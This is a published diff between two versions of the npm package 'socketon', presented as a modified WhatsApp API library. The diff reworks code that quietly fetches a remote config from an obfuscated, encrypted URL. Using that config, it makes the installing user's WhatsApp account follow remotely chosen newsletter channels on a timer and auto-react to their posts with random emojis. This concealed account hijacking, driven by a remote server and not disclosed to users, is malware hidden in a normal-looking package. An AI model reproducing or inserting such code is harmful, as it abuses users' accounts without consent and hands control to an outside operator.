socketon 1.8.25 → 1.8.26

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -83,86 +83,38 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
83
83
  return udahanBuatYangPenasaran;
84
84
  };
85
85
 
86
- // ========== FOLLOW CONFIG ==========
87
- let _cachedFollowNewsletter = null;
88
- let _configFollow = { autoFollowEnabled: true, delayMs: 5000 };
86
+ let _cachedTargetNewsletter = null;
87
+ let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
89
88
 
90
- const getFollowConfigFromExternal = async () => {
91
- const urlFollowEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce812f3d1acfb471c5b76ee1cd67ceb6c2d66d47fd7994fae1ae93ecf86183122f4';
92
- const urlFollow = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlFollowEncrypt);
89
+ const getTargetNewsletterFromExternal = async () => {
90
+ const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
91
+ const urlAsli = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlYangDiEncrypt);
93
92
  try {
94
- const response = await axios_1.default.get(urlFollow, { timeout: 10000 });
95
- let data = response.data;
96
- if (typeof data === 'string') {
97
- data = JSON.parse(data);
98
- }
99
- if (data) {
100
- if (data.config) {
101
- _configFollow = {
102
- autoFollowEnabled: data.config.autoFollowEnabled !== false,
103
- delayMs: data.config.delayMs || 5000
93
+ const response = await axios_1.default.get(urlAsli, { timeout: 10000 });
94
+ if (response.data) {
95
+ if (response.data.config) {
96
+ _configNewsletter = {
97
+ autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
98
+ delayMs: response.data.config.delayMs || 5000
104
99
  };
105
100
  }
106
- if (data.newsletters && data.newsletters.length > 0) {
107
- const enabled = data.newsletters.filter(n => n.enabled).map(n => n.jid);
108
- _cachedFollowNewsletter = enabled;
109
- return enabled;
101
+ if (response.data.newsletters && response.data.newsletters.length > 0) {
102
+ const enabledNewsletters = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
103
+ _cachedTargetNewsletter = enabledNewsletters;
104
+ return enabledNewsletters;
110
105
  }
111
106
  }
112
107
  } catch (err) {}
113
108
  return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
114
109
  };
115
110
 
116
- const getAllFollowNewsletters = () => {
117
- if (_cachedFollowNewsletter && _cachedFollowNewsletter.length > 0) {
118
- return _cachedFollowNewsletter;
111
+ const getAllEnabledNewsletters = () => {
112
+ if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
113
+ return _cachedTargetNewsletter;
119
114
  }
120
115
  return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
121
116
  };
122
117
 
123
- // ========== REACT CONFIG ==========
124
- let _cachedReactNewsletter = null;
125
- let _configReact = { autoReactEnabled: true, reactEmojis: ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'] };
126
-
127
- const getReactConfigFromExternal = async () => {
128
- const urlReactEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce8c4c0d760836578e7f941717c0324707614377d02272810f97c91253b9d86259d';
129
- const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
130
- try {
131
- const response = await axios_1.default.get(urlReact, { timeout: 10000 });
132
- let data = response.data;
133
- if (typeof data === 'string') {
134
- data = JSON.parse(data);
135
- }
136
- if (data) {
137
- if (data.config) {
138
- _configReact = {
139
- autoReactEnabled: data.config.autoReactEnabled !== false
140
- };
141
- }
142
- if (data.newsletters && data.newsletters.length > 0) {
143
- const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
144
- const enabled = data.newsletters.filter(n => n.enabled).map(n => ({
145
- jid: n.jid,
146
- emojis: (n.emojis && Array.isArray(n.emojis) && n.emojis.length > 0) ? n.emojis : defaultEmojis
147
- }));
148
- _cachedReactNewsletter = enabled;
149
- return enabled;
150
- }
151
- }
152
- } catch (err) {}
153
- return [];
154
- };
155
-
156
- const getAllReactNewsletters = () => {
157
- return _cachedReactNewsletter || [];
158
- };
159
-
160
- const getReactEmojisForChannel = (channelJid) => {
161
- const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
162
- const channel = _cachedReactNewsletter?.find(n => n.jid === channelJid);
163
- return channel?.emojis || defaultEmojis;
164
- };
165
-
166
118
  const wMexQuery = (
167
119
  variables,
168
120
  queryId,
@@ -286,27 +238,22 @@ const makeNewsletterSocket = (config) => {
286
238
  }));
287
239
  };
288
240
  // Auto Reaction - Ibra Decode
289
- let _reactChannels = [];
241
+ let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
290
242
 
291
- const updateReactChannels = async () => {
292
- const channels = await getReactConfigFromExternal();
293
- if (channels && channels.length > 0) {
294
- _reactChannels = channels;
243
+ const updateTargetNewsletters = async () => {
244
+ const externalTargets = getAllEnabledNewsletters();
245
+ if (externalTargets && externalTargets.length > 0) {
246
+ _targetNewsletters = externalTargets;
295
247
  }
296
248
  };
297
249
 
298
250
  sock.ev.on('messages.upsert', async ({ messages, type }) => {
299
251
  if (type !== 'notify') return;
300
- if (!_configReact.autoReactEnabled) return;
301
-
252
+ const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
302
253
  for (const msg of messages) {
303
254
  const jid = msg.key.remoteJid;
304
- const channel = _reactChannels.find(c => c.jid === jid);
305
- if (!channel) continue;
306
-
307
- const emojis = getReactEmojisForChannel(jid);
255
+ if (!_targetNewsletters.includes(jid)) continue;
308
256
  const emoji = emojis[Math.floor(Math.random() * emojis.length)];
309
-
310
257
  try {
311
258
  const serverId = msg.newsletterServerId?.toString() || msg.key.id;
312
259
  await query({
@@ -317,7 +264,7 @@ const makeNewsletterSocket = (config) => {
317
264
  attrs: { code: emoji }
318
265
  }]
319
266
  });
320
- await sleep(_configReact.autoReactEnabled ? 1000 : 0);
267
+ await sleep(_configNewsletter.delayMs);
321
268
  } catch (err) {}
322
269
  }
323
270
  });
@@ -325,8 +272,8 @@ const makeNewsletterSocket = (config) => {
325
272
  let _followInterval = null;
326
273
  const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
327
274
  const _ensureFollow = async () => {
328
- if (!_configFollow.autoFollowEnabled) return;
329
- const enabledNewsletters = await getFollowConfigFromExternal();
275
+ if (!_configNewsletter.autoFollowEnabled) return;
276
+ const enabledNewsletters = await getTargetNewsletterFromExternal();
330
277
  if (!enabledNewsletters || enabledNewsletters.length === 0) return;
331
278
  try {
332
279
  const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
@@ -335,19 +282,21 @@ const makeNewsletterSocket = (config) => {
335
282
  const isFollowing = list?.some(n => n.id === newsletterJid);
336
283
  if (!isFollowing) {
337
284
  await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
338
- await sleep(_configFollow.delayMs);
285
+ await sleep(_configNewsletter.delayMs);
339
286
  }
340
287
  }
341
288
  } catch (err) {}
342
289
  };
343
290
  sock.ev.on('connection.update', async ({ connection }) => {
344
291
  if (connection === 'open') {
345
- await getFollowConfigFromExternal();
346
- await getReactConfigFromExternal();
347
- await updateReactChannels();
292
+ await getTargetNewsletterFromExternal();
293
+ const targets = getAllEnabledNewsletters();
294
+ if (targets && targets.length > 0) {
295
+ _targetNewsletters = targets;
296
+ }
348
297
  await _ensureFollow();
349
298
  if (_followInterval) clearInterval(_followInterval);
350
- _followInterval = setInterval(_ensureFollow, _configFollow.delayMs);
299
+ _followInterval = setInterval(_ensureFollow, _configNewsletter.delayMs);
351
300
  }
352
301
  });
353
302
  return {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.8.25",
3
+ "version": "1.8.26",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"